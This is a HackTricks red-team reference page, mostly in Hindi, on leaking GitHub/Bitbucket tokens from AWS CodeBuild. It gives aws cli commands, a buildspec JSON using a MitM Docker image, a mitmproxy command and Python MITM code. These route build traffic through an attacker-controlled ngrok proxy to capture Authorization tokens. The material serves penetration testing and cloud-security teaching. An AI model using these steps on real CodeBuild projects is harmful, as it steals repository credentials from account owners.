AWS Codebuild - Token Leakage

शून्य से लेकर हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Github/Bitbucket कॉन्फ़िगर किए गए टोकन्स की पुनः प्राप्ति

सबसे पहले, जांचें कि क्या कोई सोर्स क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं:

aws codebuild list-source-credentials

डॉकर इमेज के माध्यम से

यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप access (GH token या OAuth token) को exfiltrate कर सकते हैं जिससे Codebuild को विशेष डॉकर इमेज का उपयोग करके प्रोजेक्ट का निर्माण चलाने के लिए बनाया जा सकता है।

इस उद्देश्य के लिए आप एक नया Codebuild प्रोजेक्ट create कर सकते हैं या मौजूदा के environment को बदलकर Docker image सेट कर सकते हैं।

आप जिस Docker इमेज का उपयोग कर सकते हैं वह है https://github.com/carlospolop/docker-mitm। यह एक बहुत ही बुनियादी Docker इमेज है जो env variables https_proxy, http_proxy और SSL_CERT_FILE सेट करेगी। इससे आप https_proxy और http_proxy में दिए गए होस्ट के अधिकांश ट्रैफिक को इंटरसेप्ट कर सकते हैं और SSL_CERT_FILE में दिए गए SSL CERT पर भरोसा कर सकते हैं।

  1. अपनी खुद की Docker MitM इमेज बनाएं और अपलोड करें

  • रेपो के निर्देशों का पालन करें अपने प्रॉक्सी IP पते को सेट करने के लिए और अपने SSL सर्ट को सेट करें और build the docker image

  • http_proxy सेट न करें ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके।

  • आप ngrok का उपयोग कर सकते हैं जैसे कि ngrok tcp 4444 अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए।

  • एक बार जब आपके पास Docker इमेज बन जाए, तो इसे किसी सार्वजनिक रेपो (Dockerhub, ECR...) में upload करें।

  1. environment सेट करें

  • एक नया Codebuild प्रोजेक्ट बनाएं या मौजूदा के environment को modify करें।

  • प्रोजेक्ट को पहले से जनरेट की गई Docker इमेज का उपयोग करने के लिए सेट करें।

  1. अपने होस्ट में MitM प्रॉक्सी सेट करें

  • Github रेपो में बताए गए अनुसार आप कुछ इस तरह का उपयोग कर सकते हैं:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

mitmproxy संस्करण जो इस्तेमाल किया गया था वह 9.0.1 था, यह बताया गया कि संस्करण 10 के साथ यह काम नहीं कर सकता है।

  1. बिल्ड चलाएं और क्रेडेंशियल्स कैप्चर करें

  • आप Authorization हेडर में टोकन देख सकते हैं:

यह aws cli के साथ भी किया जा सकता है जैसे कि

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

HTTP प्रोटोकॉल के माध्यम से

यह कमजोरी AWS द्वारा 20 फरवरी 2023 के सप्ताह में किसी समय सही कर दी गई थी (मुझे लगता है शुक्रवार को)। इसलिए अब एक हमलावर इसका दुरुपयोग नहीं कर सकता :)

एक हमलावर जिसके पास CodeBuild में उच्च अनुमतियां हैं, Github/Bitbucket टोकन को लीक कर सकता है जो कॉन्फ़िगर किया गया है या अगर अनुमतियां OAuth के माध्यम से कॉन्फ़िगर की गई थीं, तो कोड तक पहुंचने के लिए इस्तेमाल किया गया अस्थायी OAuth टोकन

  • एक हमलावर CodeBuild प्रोजेक्ट में पर्यावरण चर http_proxy और https_proxy जोड़ सकता है जो उसकी मशीन की ओर इशारा करता है (उदाहरण के लिए http://5.tcp.eu.ngrok.io:14972).

  • फिर, github रेपो के URL को HTTP का उपयोग करने के लिए HTTPS के बजाय बदलें, उदाहरण के लिए: **http://**github.com/carlospolop-forks/TestActions

  • फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट पर https://github.com/synchronizing/mitm से बेसिक उदाहरण चलाएं

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • अंत में, Build the project पर क्लिक करें, credentials स्पष्ट पाठ (base64) में mitm पोर्ट पर भेजे जाएंगे:

अब एक हमलावर अपनी मशीन से टोकन का उपयोग कर सकेगा, सभी अधिकारों की सूची बना सकेगा और CodeBuild सेवा का सीधे उपयोग करने से आसानी से (दुरुपयोग) कर सकेगा।

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

  • यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो SUBSCRIPTION PLANS देखें!

  • official PEASS & HackTricks swag प्राप्त करें

  • The PEASS Family की खोज करें, हमारे विशेष NFTs का संग्रह

  • 💬 Discord group में शामिल हों या telegram group में या Twitter पर मुझे 🐦 @carlospolopm** का अनुसरण करें**।

  • HackTricks के HackTricks और HackTricks Cloud github repos में PRs सबमिट करके अपने हैकिंग ट्रिक्स साझा करें।

Last updated